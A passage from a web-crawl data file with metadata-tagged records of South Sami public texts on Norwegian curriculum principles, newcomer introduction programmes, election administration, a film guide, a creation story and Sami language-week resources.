vaestiedassh ohtsedidh jïh profesjovneektievoete mij sæjhta daejredh guktie skuvlen barkoe meatan learohki evtiedæmman jïh lïeremasse. Gaajhkh barkijh skuvlesne tjuerieh ïedtjeles barkedh dejnie profesjonelle lïeremeektievoetesne guktie skuvle evtiedieh. Daate sæjhta jiehtedh ektievoete ussjede aarvoeveeljemi jïh evtiedimmiedaerpiesvoeti bïjre, jïh dotkemem, maahtoem dååjrehtimmeste jïh etihken vuarjasjimmieh nuhtjie betnesne ulmieryöktesth råajvarimmide. Hijven evtiedamme struktuvrh laavenjostose, dåarjose jïh bïhkedæmman barkiji gaskem jïh skuvli raasth juekeme- jïh lïeremekultuvrem viehkehte.\nDïhte lea fïerhten beajjetjen gaavnesjimmien tjïrrh learohki jïh lohkehtæjjaj gaskem skuvlen gamte åssjele realiseeresovveme. Lohkehtæjjah sijhtieh konkreeteles lïerehtimmietsiehkine dååjrehtidh ovmessie rastah åssjeli jïh aarvoej gaskem. Dah tjuerieh eejnegen gïerve veektemh darjodh krööhkestimmiem fïere guhte learoehkasse jïh krööhkestimmiem ektievoetese, dåarjodh jallh krïevedh, skuvleaarkebiejjien daesnie jïh daelie jïh barkoem båetije biejjide ryöjredidh. Eah learohkh seammalaakan, jïh mij lea learoehkasse bööremes, lea jarngegyhtjelasse gaajhkine lïerehtimmine. Daate gyhtjelasse tjuerieh gaajhkem gïeh skuvlesne berkieh fïerhten biejjien viht vaestiedidh.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/www.udir.no\/lk20\/overordnet-del\/3.-prinsipper-for-skolens-praksis\/3.5-profesjonsfellesskap-og-skoleutvikling\/?kode=tip01-03&lang=sma","date":"2022-01-27T02:23:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320305052.56\/warc\/CC-MAIN-20220127012750-20220127042750-00138.warc.gz","language":"sma","language_score":1.0000078678,"language_script":"Latn","minhash_cluster_size":252,"top_langs":"{\"sma_Latn_score\": 1.0000078678131104}","num_words":508,"character_repetition_ratio":0.064,"word_repetition_ratio":0.0,"special_characters_ratio":0.121,"stopwords_ratio":0.134,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Introduksjovneöörnege\nIntroduksjovneöörnegen åssjele lea nuepide eevtjedh såemies aadtjen båateme sijsjuhtijidie, guktie dah varke barkose jallh ööhpehtæmman båetieh. Barkoe jïh ööhpehtimmie lea eevre vihkeles jis edtja meatan årrodh siebriedahkesne, jïh ekonomeles jïjtjeraarehkinie årrodh.\nReakta jïh dïedte lïerehtimmiem åadtjodh\nJïjnjh aadtjen båateme sijsjuhtijh mah aktene nöörjen tjïeltesne orrijieh, sijhtieh maadthmaahtoem daarpesjidh. Dej leah reakta jïh dïedte meatan årrodh introduksjovneprogrammesne. Reakta jïh dïedte sæjhta aaj jiehtedh meatan årrodh lïerehtimmesne nöörjen gïelesne jïh siebriedahkedaajroen bïjre, tjåanghkan 600 tæjmoeh. Tjïelth dïedtem utnieh introduksjovneprogrammem tjïrrehtidh, jïh lïerehtimmien åvteste nöörjen gïelesne jïh siebriedahkedaajrosne.\nDah mah meatan introduksjovneprogrammesne reaktam utnieh introduksjovnedåarjoem åadtjodh.\nTjïelth beetnegh åadtjoeh öörnegasse\nDah mah maehtieh lïerehtimmiem jïh dåarjoem åadtjodh introduksjovnelaaken mietie, vïhtesjadteme sjidtieh Nasjovnale introduksjovneregisterisnie (NIR). Dejstie vïhtesjadteme bïevnesijstie dle tjïelth maehtieh beetnehdåarjoen bïjre syökedh juktie lïerehtimmiem tjïrrehtidh nöörjen gïelesne jïh siebriedahkedaajrosne. Aervede beetnehdåarjoem mestie man gellie almetjh ulmiedåehkesne mah reaktam jïh dïedtem utnieh mah tjïeltesne årroeh, lissine dåhkasjamme nöörjenpryövenasse. Lissine dle dåarjoe nöörjenlïerehtæmman geerve asyleohtjijidie vadtasåvva dejtie tjïeltide mah asyledåastovem utnieh.\nFylhkenålman laavenjassh\nFylhkenålma ohtsemidie jååhkesje NIR'sne, jïh dåarjojde maaksa.\nIntroduksjovnelaakesne jienebh nænnoestimmieh aktegsalmetji reaktaj jïh dïedti bïjre.\nFylhkenålma lea klååkemesuerkie nænnoestimmide daej nænnoestimmiej mietie.\nSkïereden 1.b. raejeste Fylhkenålma edtja tjïelti barkoem vååksjedh, jïh mejtie dah sijjen dïedth illieh introduksjovnelaaken mietie.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/www.statsforvalteren.no\/sma\/portal\/Almetjh-jih-siebriedahke\/Introduksjovneoornege\/","date":"2022-01-28T05:35:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320305420.54\/warc\/CC-MAIN-20220128043801-20220128073801-00525.warc.gz","language":"sma","language_score":1.0000039339,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"sma_Latn_score\": 1.0000039339065552}","num_words":197,"character_repetition_ratio":0.091,"word_repetition_ratio":0.0,"special_characters_ratio":0.122,"stopwords_ratio":0.142,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Faageles lïereme lea vihkeles bielie dovne skearkagimmie- jïh ööhpehtimmiestillemistie maadthööhpehtimmesne. Faagi learoesoejkesjh sisvegem buerkiestieh ovmessie faagine jïh maahtoen jiehtiegasse tseegkeme:\nMaahtoe lea maehtedh maahtoem jïh tjiehpiesvoetem vejtiestidh jïh nuhtjedh haestemh haalvedh jïh laavenjassh loetedh damtoes jïh ovdamtoes ektievoetine jïh tsiehkine. Maahtoe lea goerkese jïh maehtelesvoete refleksjovnese jïh laejhtehks ussjedæmman.\nMaahtoejiehtegen goerkese tjuara betnesne skuvlen barkose learoesoejkesjigujmie jïh vuarjasjimmiejgujmie learohki faageles maahtojste. Faagi maahtoeulmieh tjuerieh ektesne vuejnedh sinsitniem faagine jïh faagi dåaresth. Maahtoeulmieh tjuerieh aaj guarkedh åssjeleparagraafen jïh dej jeatjah bieliej mietie learoesoejkesjevierhkesne.\nMaahtoe lea faaktam, dïejvesh, teorijh, åssjelh jïh ektievoeth damtedh ovmessie faagesuerkine jïh teemine. Tjiehpiesvoeth lea maehtedh darjomh jallh prosedyjrh gïetedidh gosse laavenjassh darjodh jallh dåeriesmoerh loetedh, mah gaskem jeatjebh motorihken, praktihken, kognitijven, sosijaale, kreatijve jïh gïeleldh tjiehpiesvoeth. Maahtoedïejvesne aaj goerkese jïh maehtelesvoete ussjedidh jïh laejhtehks ussjedimmie faagine, mij lea vihkeles jis teoretihken ussjedimmiem guarkedh jïh maam akt praktihkeles darjodh. Refleksjovne jïh laejhtehks ussjedimmie gaaredamme vuajnojde jïh etihken vuarjasjimmiemaehtelesvoetem evtiedidh.\nSkuvle edtja gïengeleslïeremasse sijjiem vedtedh guktie learohkh goerkesem evtiedieh jarnges elemeentide jïh ektievoetide faagesne, jïh guktie dah lierieh faageles maahtoem jïh tjiehpiesvoetem nuhtjedh damtoes jïh ammes ektievoetine. Barkosne faagine learohkh edtjieh laavenjassh dåastoehtidh jïh joekehts darjoeminie meatan årroeh gusnie kompleksiteetem jeanene. Gïengelelïereme faagine lea maahtojde jïh tjiehpiesvoetide ovmessie vuekine, guktie learohkh tïjjen mietie maehtieh ovmessie faageles haestiemidie haalvedh oktegh jïh mubpiejgujmie.\nLohkehtæjjah jïh åvtehkh skuvlesne tjuerieh jaabnan ussjedidh ektievoeten bïjre lïerehtimmie faagesne jïh bijjemes ulmieh, aarvoeh jïh lïerehtimmien prinsihph gaskem.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/www.udir.no\/lk20\/overordnet-del\/prinsipper-for-laring-utvikling-og-danning\/kompetanse-i-fagene\/?kode=geo01-02&lang=sma","date":"2022-01-22T11:23:31Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320303845.33\/warc\/CC-MAIN-20220122103819-20220122133819-00131.warc.gz","language":"sma","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":259,"top_langs":"{\"sma_Latn_score\": 1.000009298324585}","num_words":231,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.121,"stopwords_ratio":0.177,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemien vïrre\nFilmhandledning till Sameblod i sydsamisk översättning. Saemien vïrre lea akte åajvoehlaakan filme Elle-Marjan bïjre gie nomadeskuvlem vaadtsa jïh sjæjsjali edtja sov saemien aerpiem hiejhtedh juktie svïenske sjïdtedh.\nDaate aaj soptsestimmie Sveerjen skaamesjen kolonijaale histovrijen bïjre, mïss´akth gorreldihkie årrodh jïh ålkoelisnie tjåadtjodh, stujmien bïjre jïh eadtjohke årrodh, skaamoe jïh skåltoe. Daate damteles filme mestie almetjh båasarieh jïh mij eevtjie vihkeles soptestallemidie dan individuelle jïh nasjonelle histovrijetjaelemen bïjre.\nÖversättare: Sara Mariana Åström","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/www.filminstitutet.se\/sv\/fa-kunskap-om-film\/filmpedagogik\/filmhandledningar\/saemien-virre\/","date":"2022-01-23T11:52:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320304261.85\/warc\/CC-MAIN-20220123111431-20220123141431-00161.warc.gz","language":"sma","language_score":0.9999508858,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"sma_Latn_score\": 0.9999508857727051}","num_words":72,"character_repetition_ratio":0.027,"word_repetition_ratio":0.0,"special_characters_ratio":0.134,"stopwords_ratio":0.222,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bijjemes bielie lea faamosne maadthlïerehtimmesne Nöörjesne. Maadthlïerehtimmie lea maadthskuvlen jïh jåarhkeskuvlen lïerehtimmie. Dïhte faerhmeste dan gaavhtan lïerehtimmiem maanah jïh noerh åadtjoeh voestes klaassen raejeste maanadaltesisnie jïh studijeryöjreden jïh barkoefaageles lïerehtimmieprogrammi raajan jåarhkeskuvlesne, gusnie bielieh lïerehtimmeste sïeltine jïh barkoejieledinie.\nBijjemes bielie learoesoejkesjevierhkeste tjïelkeste aarvoevåaromem ööhpehtimmielaaken åssjeleparagraafesne jïh daejtie bijjemes prinsihpide maadthlïerehtimmesne. Dïhte daate aalkoe, åssjeleparagraafem mubpesth jeahta jïh golme kapihtelh: 1. Lïerehtimmien aarvoevåarome, 2. Lïeremen, evtiedimmien jïh skearkagimmien prinsihph jïh 3. Skuvlen barkoen prinsihph. Faagi learoesoejkesjh buerkiestieh faagi sisvegh jïh ulmieh. Bijjemes bielie vuesehte gåabpelen faagi lïerehtimmieh juhtieh, jïh gaajhkh faagh leah meatan lïerehtimmien gamte ulmiem realiseradidh. Abpe learoesoejkesjevierhkie lea lïerehtimmien våarome, jïh dah ovmessie biehkieh aktanieh jïh daejtie tjuara ektesne utnedh.\nDïhte bijjemes bielie maadthvuajnoem buerkeste mij edtja pedagogeles barkoem abpe maadthööhpehtimmesne tsevtsedh. Dïhte aaj laavenjostoen våarome hïejmen jïh skuvlen gaskem. Bijjemes bielie tjïelkeste skuvlen jïh learoesïelten dïedtem gaajhkide maahtoem skearkagidh jïh evtiedidh maadthlïerehtimmesne. Gaajhkh gïeh maadthlïerehtimmesne berkieh, tjuerieh daam maadthvuajnoem baajedh stuvredh gosse lïerehtimmiem soejkesjieh, tjïrrehtieh jïh evtiedieh.\nBijjemes bielien åejvieulmiedåehkie lea gaajhkh gïeh dïedtem ööhpehtimmesne utnieh: lohkehtæjjah, bïhkedæjjah, viehkiehtæjjah, skuvleåvtehkh, skuvleaajhterh, jeatjah barkoedåehkieh skuvlesne jïh learoesïeltine. Bijjemes bielie faamosne lïerehtimmesne learoehkidie, lïerehtæjjide, learoekandidaatide, praksisprieviekandidaatide jïh gïerve almetjidie maadthskuvlesne, jåarhkeskuvlesne jïh geerveööhpehtimmesne. Bijjemes bielesne nuhtjie baakojde «learohke», «lohkehtæjja» jïh «skuvle» gaajhki bïjre gïeh ööhpehtimmesne, gaajhkh barkijh, gaajhkh skuvlh jïh gaajhkh learoesïelth. Lohkehtæjjaööhpehtimmieh edtjieh ööhpehtimmielaakine jïh learoesoejkesjevierhkieh faamosne maadthööhpehtimmesne, dan nuelesne bijjemes bielie.\nDïhte bijjemes bielie statusem åtna njoelkedassine learoesoejkesjevierhkien ektesne, jïh tjuara tjoevkesisnie lohkedh ööhpehtimmielaakine jïh jeatjah relevaante njoelkedassevierhkine mij faamosne lïerehtimmide skuvlesne jïh learoesïeltesne. Vuesiehtimmien gaavhtan tjuara jiehtege sjïehtedamme lïerehtimmien bïjre kapihtelisnie 3 aktene njoelkedassevierhkine sjïehtedamme lïerehtimmie jïh sjïereööhpehtimmie, learohkevuarjasjimmie, öörnege ööhpehtimmeste jïh eejhtegelaavenjostoste.\nSkuvle jïh learoesïelte seammavyörtegs lïeremesijjieh. Lïerehtimmie daej sijjine seamma vierhtievåaromem åtna jïh seamma prinsihpigujmie, men tjuara krööhkestidh lïerehtimmie barkoejieledisnie naan krïevemh jïh mierieh åtna mah joekehts lïerehtimmeste skuvlesne. Learoesïelth dïedtem utnieh, seamma goh skuvle, lïerehtimmie mij vadtasåvva lea ööhpehtimmielaaken jïh learoesoejkesjevierhkien mietie. Golmebielielaavenjostoe guhkiem faage- jïh barkoeööhpehtimmiem ektesne evtiedieh.\nSaemieh Nöörjesne statusem utnieh aalkoealmetjinie ILO-konvensjovnen mietie. Maadthlaake vihteste staate edtja tsiehkieh sjïehteladtedh ihke saemieh maehtieh saemien gïelem, kultuvrem jïh siebriedahkejielemem gorredidh jïh evtiedidh, mij aaj ööhpehtimmielaaken mietie. Bijjemes bielie aaj faamosne saemien skuvlesne. Dïejvese \"dïhte saemien skuvle\" nuhtjie lïerehtimmien bïjre mij saemien parallelle seammavyörtegs learoesoejkesjevierhkien mietie barka. Saemien learoesoejkesjevierhkie faamosne tjïeltine mah reeremedajvine saemien gïelide. Seamma learoesoejkesjevierhkie faamosne learoehkidie mah reaktam utnieh lïerehtimmiem saemiengïelesne abpe laantesne. Learohkh jeatjah dajvine laantesne gïeh reaktam utnieh saemiengïelem lïerehtidh, edtjieh saemien learoesoejkesjevierhkien mietie barkedh faagesne saemien. Skuvle dïedtem åtna dejtie njoelkedasside illedh.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/www.udir.no\/lk20\/overordnet-del\/om-overordnet-del\/?kode=geo01-02&lang=sma","date":"2022-01-24T06:52:50Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320304515.74\/warc\/CC-MAIN-20220124054039-20220124084039-00072.warc.gz","language":"sma","language_score":1.0000059605,"language_script":"Latn","minhash_cluster_size":270,"top_langs":"{\"sma_Latn_score\": 1.0000059604644775}","num_words":400,"character_repetition_ratio":0.115,"word_repetition_ratio":0.0,"special_characters_ratio":0.118,"stopwords_ratio":0.145,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Published: 11 March 2020\nVeeljeme-administrasjovne\nOvmessie åejvieladtjh jïh aktöörh utnieh råållah jïh dïedtem guktie veeljemem tjïrrehtidh.\nVeeljemeåejvieladtje\nVeeljemeåejvieladtje dïedtem åtna veeljemen jïh åålmegeveeljemen tjïrrehtimmiem soejkesjidh jïh iktedidh.\nLeeneståvroeh\nLeeneståvroe regionaalen Veeljemeåejvieladtje. Leeneståvroe nænnoste vuesiehtimmien gaavhtan veeljemedistrikti bïjre, minngemosth tjaatsestimmieryöknemem gaajhkine veeljeminie jïh mandaath juaka tjïelte- jïh laantedigkiereeremeveeljeminie.\nVeeljememoenehtsh tjïeltine\nVeeljememoenehtse fïerhtene tjïeltesne dïedtem åtna tjaatsestimmiedåastovem fïerhtene veeljemesijjine gusnie veeljijh maehtieh tjaatsestidh jïh aaj dorje annjebodts tjaatsestimmieryöknemem.\nVeeljemepryövememoenehtse\nVeeljemepryövememoenehtse laejhtemh pryövoeh jïh nænnoestimmieh nænnoste.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/www.val.se\/servicelankar\/other-languages\/aarjelsaemiengiele-sydsamiska\/mijjen-bijre\/veeljeme-administrasjovne.html","date":"2022-01-23T08:49:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320304217.55\/warc\/CC-MAIN-20220123081226-20220123111226-00486.warc.gz","language":"sma","language_score":1.0,"language_script":"Latn","minhash_cluster_size":18,"top_langs":"{\"sma_Latn_score\": 1.0}","num_words":71,"character_repetition_ratio":0.1,"word_repetition_ratio":0.0,"special_characters_ratio":0.105,"stopwords_ratio":0.141,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Lïerehtimmie skuvlesne jïh learoesïeltesne edtja, laavenjostosne jïh goerkesisnie hïejmine, oksh rïhpeste veartanasse jïh båetije biejjide jïh learoehkidie jïh lïerehtæjjide histovreles jïh kultuvreles daajroem jïh vïedteldimmiem vadta.\nLïerehtimmiem edtja vihkeles aarvojde tseegkedh kristeles jïh humanistihken aerpesne jïh aerpievuekesne, galka almetjeaarvoem jïh eatnemem ååktedh, åssjelmesfrïjjevoetesne, nubpiegieriesvoetesne, soelkedimmesne, seammavyörtegsvoetesne jïh solidariteetesne, aarvoeh mah vuesiehtieh ovmessie religijovnine jïh jielemevuajnojne jïh almetjereaktide gaaredieh.\nLïerehtimmie edtja viehkiehtidh nasjonaale kultuvreaerpien daajroem guarkedh jïh vijriedidh jïh aaj daajroem mijjen ektie internasjonaale kultuvreaerpievuekien bïjre.\nLïerehtimmie edtja daajroem vedtedh kulturellen gellievoetese jïh respektem vuesiehtidh fïere guhten mïelese. Dïhte edtja demokratijem, mïrrestallemem jïh daajroen ussjedimmievuekiem skreejredh.\nLearohkh jïh lïerehtæjjah edtjieh maahtoem, daajroem jïh mïelh evtiedidh guktie maehtieh dej jieledh haalvedh jïh maehtedh barkedh jïh ektievoeten siebriedahkesne meatan årrodh. Dah edtjieh skaepiedimmieaavoem, eadtjohkevoetem jïh goerehtallemevæljoem evtiedidh.\nLearohkh jïh lïerehtæjjah edtjieh lïeredh laejhtehks ussjedidh jïh etihken jïh byjreseguarkoen mietie barkedh. Dah edtjieh meatandïedtem utnedh jïh reaktam laavenjostose.\nSkuvle jïh learoesïelte edtjieh learoehkidie jïh lïerehtæjjide dåastoehtidh jearsoesvoetine, respektine jïh krïeveminie jïh dejtie haestemh vedtieh mah skearkagimmiem jïh learoevæljoem skreejredh. Edtjieh sïerredimmien vööste barkedh.\n(Ööhpehtimmielaake § 1-1)","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/www.udir.no\/lk20\/overordnet-del\/formalet-med-opplaringen\/?kode=geo01-02&lang=sma","date":"2022-01-27T03:05:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320305052.56\/warc\/CC-MAIN-20220127012750-20220127042750-00324.warc.gz","language":"sma","language_score":1.000009656,"language_script":"Latn","minhash_cluster_size":260,"top_langs":"{\"sma_Latn_score\": 1.0000096559524536}","num_words":170,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.121,"stopwords_ratio":0.206,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dah golme dåaresthfaageles teemah learoesoejkesjevierhkesne aalka sjyöhtehke siebriedahkehaestieminie mah eadtjohkevoetem jïh barkoem kreava fïere guhte almetjistie jïh ektievoeteste voengesiebriedahkesne, nasjonaale jïh globaale. Learohkh maahtoem evtiedieh gaaredamme dejtie dåaresthfaageles teemide barkoen tjïrrh dåeriesmoerigujmie ovmessie faagijste. Learohkh edtjieh haestemh jïh dilemmah vuejnedh teemine. Dah edtjieh guarkedh guktie mijjieh maahtoen jïh laavenjostoen tjïrrh maehtebe vaestiedassh gaavnedh, jïh dah edtjieh lïeredh ektievoeti bïjre darjoemistie jïh konsekvenside.\nMaahtoevåarome dåeriesmoeri vaestiedassh gaavnedh teemaj sisnie gellie faagine gååvnese, jïh teemah edtjieh meatan årrodh guktie learohkh goerkesem jeksieh jïh ektievoetem vuejnieh faagi dåaresth. Ulmieh mah learohkh edtjieh lïeredh teemaj sisnie, maahtoeulmine vuesiehtieh faagide gusnie relevaante","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/www.udir.no\/lk20\/overordnet-del\/prinsipper-for-laring-utvikling-og-danning\/tverrfaglige-temaer\/?kode=itk02-01&lang=sma","date":"2022-01-22T12:30:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320303845.33\/warc\/CC-MAIN-20220122103819-20220122133819-00259.warc.gz","language":"sma","language_score":1.0000095367,"language_script":"Latn","minhash_cluster_size":279,"top_langs":"{\"sma_Latn_score\": 1.000009536743164}","num_words":97,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.118,"stopwords_ratio":0.124,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daate soptsese lea gærjeste «Verden er så stor-urfortellinger» maam Tove Solum tjaaleme. Soptsesisnie åadtjoeh lohkedh guktie aborigijnerh vïenhtin almetjh sjugniedamme. Ööhpehtimmiedirektoraate lea tjaalegem jarkoestamme.\nNïekeds-tïjje\nAalkovisnie eatneme lij akte doedtere. Gaajhke lij jemhkelde. Ij naan jielede, ij naan jaemede. Biejjie, aske jïh naestieh lin åerieminie eatnemen nuelesne. Desnie gaajhkh dah ihkuve maadtoe-ladtjh aaj öörin, goske sijjen jïjtsh ihkuvistie loevenin jïh bæjjese böötin eatnemen bijjie-skiehrien tjïrrh.\nGosse dah ihkuve maadtoe-ladtjh tjuedtjielin, dah eatnamisnie vaanterdin, muvhten aejkien kreeki gaagkosne – goh kenguru, emu jallh öögla. Muvhten aejkien almetjen gaagkosne, muvhten aejkien dovne goh almetje jïh kreeke, jïh muvhten aejkien dovne goh almetje jïh sjædtoe ektesne.\nGöökte dagkerh gaagkoeh lin ungambikula, mah lin jïjtjemem sjugniedamme ij mestie gænnah.\nGosse lin vaanterdeminie eatnamisnie dle såemies byölehth almetjh gaavnin. Dah lin kreekijste jïh sjædtojste dorjesovveme jïh goh paanhtjh gællasjin dogkh daagkh. Almetjh lin gïebreldahkesne, ij naan juelkieh, ij naan gïeth jïh ij naan guelmie.\nDah göökte ungambikulah veeltin sijjen stoerre gierkie-nejpieh jïh åejjiem, kråahpem, juelkide jïh gïetide dejstie tjoehpin. Dah ååredæjjah, gïeth jïh juelkieh tjoehpin. Dellie lin almetjidie dorjeme.\nFïerhte gaarmanæjja jïh fïerhte nyjsenæjja lij aalkovistie akte sjædtoe jallh kreeke orreme, jïh dannasinie tjuerieh totem-kreekem jallh totem-sjædtoem ååktedh mestie lin dorjesovveme – goh muerjie-moere, kraesie-vetsmie, dah stoerre jïh smaave ööglah, rööhtse.\nGosse dejnie aejlies sjugniedimmie-barkojne eatnamisnie orrijamme, dle maadtoeladtjh vihth åarajin. Såemies dejstie bååstede jarkaji dejtie sijjide eatnamisnie gubpede böötin, mubpieh gierkieh jïh moerh sjïdtin.\nDah baalkah mejtie maadtoeladtjh vaanterdin Nïekeds-tïjjen, leah aejlies baalkah. Gaajhkem lehkiem gusnie maadtoeladtjh veedtsin jïh veartanasse laavloejin, dle aejlies mïerhkh leehpin mah vuesiehtieh dah leah ihkuve gïetskesisnie - akte gierkie, akte gaaltije, akte moere.\nIj leah Nïekeds-tïjje mij akt mij ajve ikth dejpeli heannadi. Nïekeds-tïjje akte ihkuve daaletje tïjje. Fïerhten aejkien naaken dejtie aejlies laavloemidie lååvle, dle laante vihth sjugniesåvva. Jïh naemhtie Nïekeds-tïjje vihth sjædta, ikth vielie.[1]\nBaakoeh\nSaemien\nDaaroen\nbijjie-skiehrie\noverflate\njïjtjemem sjugniedamme\nskapt seg selv\nEN'n gaske-nasjovnaale aalkoealmetje-biejjie\nMïetsken 9.b. lea ENn gaske-nasjovnaale aalkoealmetje-biejjie. Daan biejjien akte mïerhke-biejjie 5000 ovmessie aalkoealmetje-tjïertide abpe veartenisnie. Daate biejjie aaj akte biejjie juktie ektievoetem vuesiehtidh aalkoealmetje-tjïertigujmie mah gïerve tsiehkiej nuelesne veasoeh. Veartenen aalkoe-almetjh leah bijjelen vïjhte prosenth veartenen almetjijstie, vielie goh 370 millijovnh almetjh joekedamme jieniebinie goh 90 laantine. Dah jeanatjommes aalkoe-almetjh gïerve tsiehkiej nuelesne jielieh, jïh jeenjesh dovne dïedtesimmiem jïh trïegkenassem dååjrieh.\n- 1«Verden er så stor så stor- urfolkfortellinger». Solum, Tove. Solum Forlag. 2003.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/ndla.no\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:b23303f9-8560-47fc-bbfb-de3564308246\/topic:2:3b76b3b7-10e3-47de-8b45-41d46544e8db\/resource:1:129289","date":"2022-01-22T05:18:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320303747.41\/warc\/CC-MAIN-20220122043216-20220122073216-00079.warc.gz","language":"sma","language_score":0.9999778271,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"sma_Latn_score\": 0.9999778270721436}","num_words":376,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.106,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ulmie Gïelevåhkojne lea statusem lutnjedh saemien gïelide, jïh daajroem saemien gïeli jïh kultuvren bïjre lutnjedh abpe seabradahkesne. Raaktan daan våhkoen saemien gïelh edtjieh govledh jïh vååjnedh gaajhkem lehkiem.\nGïelevåhkoe lea aktivyöki barkoe juktie daajroem saemien gïeli bïjre våajnoes darjodh jïh lissiehtidh abpe seabradahkesne. Privaate jïh byögkeles institusjovnh, jieleme, organisasjovnh jïh jeatjah aktöörh bööresuvvieh saemien gïelh våajnoes darjodh raaktan daan våhkoen. Ektesne stuerebe dïedtem vaeltebe ihke saemien gïelh govloeh, vååjnoeh jïh åtnasuvvieh gaajhkine seabradahkesuerkine.\nGïelevåhkoe akte bielie Saemiedigkien guhkiebasse gïelebarkoste – Gïelelutnjeme.\nMan åvteste Gïelevåhkoe vihkele?\nJalhts leah vaahresne nåhkedidh, saemien gïelh jåerhkieh kreeptjedidh. Nov lea håhkoe. Akte sjïdtije voerkesvoete saemiej luvnie gïelen jïh gïeleveeljemen bïjre, jïh ahkedh jienebh veeljieh meatan årrodh kuvsjine juktie gïelem bååstede vaeltedh maam aarebi boelvh leah dasseme. Dajvine gusnie saemien ij leah åtnosne orreme akte jallh göökte boelvh, noere geerve almetjh daelie gïelem bååstede vaeltieh jïh vååregelaakan pryövoeh dam guhkiebasse vedtedh sijjen maanide. Orre boelve saamastallije maanajgujmie sjïdtedeminie.\nDovne Saepmien nöörjen, sveerjen jïh soemen bielesne dååjrebe stoerreseabradahke eantan stuerebe ïedtjem jïh eadtjohkevoetem saemien gïelijste vuesehte, jïh saemieh gaajhkine laantine stuerebe jååhkesjimmiem sijjen kultuvrese jïh sijjen gïelide dååjroeh. Ïedtje saemien siebriedahkese lea stoerre, jïh tïjje ektie aktivyöki gïelebarkoen åvteste ij lij maahteme buerebe årrodh.\nVierhtieh\nGïeledïrregh\nJienebh digitaale gïeledïrregh gååvnesieh, goh baakoestimmiedïrrege dovne Windowse jïh Macese, mobijletastatuvre baakoestimmiedïrreginie dovne Androidese jïh IOS:se (iPhone jïh iPad), baakoegærjah jïh jïjnje vielie. Gïehtjh Divvun-sæjroem gusnie vielie saemien gïeleteknologije.\n10\/20 bágo\nGïelevåhkoen sjïekenisnie Saemiedigkie Nöörjesne appem 10\/20 bágo dorjeme, maam maahta android- jallh iOS-tellefovnese veedtjedh. Appesne maahta 10\/20 baakoeh vuejnedh, govledh jïh lohkedh dovne noerhte-, julev- jïh åarjelsaemien gïelesne. Appe maahta åtnasovvedh skuvlesne jïh maanagïertesne, men hævvi aaj privaate jieliedisnie.\nStaeriedimmieprogramme\nMaahtah MS Officen reaktatjaelemedïrregem veedtjedh dovne Windowse jïh Macese. Gååvnese dovne noerhte-, julev -jïh åarjelsaemien gïelese.\nTastatuvre\/Båaloebuertie\nDMaahtah saemien tastatuvrem veedtjedh dovne mobijlese jïh daatovrese. Lohkh vielie daesnie guktie veedtjh jïh åtnose vaaltah mobijletastatuvrem. Lohkh vielie daesnie guktie veedtjh jïh åtnose vaaltah tastatuvrem daatovrese.\nSaemesth\nGïelekampanjen sjïekenisnie «Saemesth munnjien» Saemiedigkie Nöörjesne låammebaakoegærjetjem darjoeji 2013. Baakoegærjetje lij uvtemes noeride, jïh aajkoe lij dïhte edtji vietseleslaakan bööredidh voestes gaavnedimmesne saemiestidh, aarkebiejjien jïh feestesne. Baakoegærjetje joekoen lyjhkedihks sjïdti almetji luvnie gaajhkine aaltarinie. Desnie ij naan leevles grammatihke, ajve jienebh jallh vaenebh nuhteligs baakoeh jïh jiehtegh. Baakoegærjetje dan lyjhkedihks sjïdti guktie Saemiedigkie 2019 aaj dam jïjtse applikasjovnine darjoeji. Tjoeje vaeljehke baakojde jïh jiehtiegidie, jïh gaajhkesh mah sijhtieh maehtieh baakoegærjetjem nuhtjedh, dovne dah mah 